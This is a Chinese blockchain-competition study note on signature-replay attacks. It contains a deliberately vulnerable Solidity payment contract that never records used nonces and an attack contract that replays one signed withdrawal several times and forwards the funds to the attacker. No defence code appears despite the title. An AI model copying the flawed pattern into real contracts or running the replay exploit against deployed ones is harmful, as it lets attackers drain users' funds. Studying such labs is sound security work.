区块链国赛笔记 22｜合约安全实验：签名重放与防护思路

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/**
 * 存在重放漏洞的支付合约
 * 攻击者可以重复使用已签名的交易来多次提取资金
 */
contract VulnerablePayment {
    mapping(address => uint256) public balances;
    mapping(bytes32 => bool) public usedSignatures;

    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // 存款函数
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // 存在重放漏洞的提现函数
    function withdraw(
        uint256 amount,
        uint256 nonce,
        bytes memory signature
    ) external {
        bytes32 messageHash = keccak256(abi.encodePacked(
            msg.sender,
            amount,
            nonce,
            address(this)
        ));

        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(
            "\x19Ethereum Signed Message:\n32",
            messageHash
        ));

        // 验证签名
        address recovered = recoverSigner(ethSignedMessageHash, signature);
        require(recovered == owner, "Invalid signature");

        // 但没有检查nonce是否已被使用！
        // 攻击者可以重复使用相同的签名数据

        require(balances[msg.sender] >= amount, "Insufficient balance");

        balances[msg.sender] -= amount;
        payable(msg.sender).transfer(amount);
    }

    // 签名验证函数
    function recoverSigner(
        bytes32 ethSignedMessageHash,
        bytes memory signature
    ) internal pure returns (address) {
        (bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);
        return ecrecover(ethSignedMessageHash, v, r, s);
    }

    function splitSignature(bytes memory sig)
        internal
        pure
        returns (bytes32 r, bytes32 s, uint8 v)
    {
        require(sig.length == 65, "Invalid signature length");

        assembly {
            r := mload(add(sig, 32))
            s := mload(add(sig, 64))
            v := byte(0, mload(add(sig, 96)))
        }

        if (v < 27) v += 27;
        require(v == 27 || v == 28, "Invalid signature version");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IVulnerablePayment {
    function withdraw(uint256 amount, uint256 nonce, bytes memory signature) external;
    function deposit() external payable;
}

contract ReplayAttack {
    IVulnerablePayment public vulnerableContract;
    address public attacker;

    constructor(address _vulnerableAddress) {
        vulnerableContract = IVulnerablePayment(_vulnerableAddress);
        attacker = msg.sender;
    }

    // 发起重放攻击
    function executeReplayAttack(
        uint256 amount,
        uint256 nonce,
        bytes memory signature
    ) external {
        // 第一次合法调用
        vulnerableContract.withdraw(amount, nonce, signature);

        // 重放攻击 - 使用相同的签名数据再次调用
        vulnerableContract.withdraw(amount, nonce, signature);

        // 可以多次重放...
        vulnerableContract.withdraw(amount, nonce, signature);
    }

    // 接收以太币
    receive() external payable {}

    // 提取攻击获得的资金
    function withdrawFunds() external {
        payable(attacker).transfer(address(this).balance);
    }
}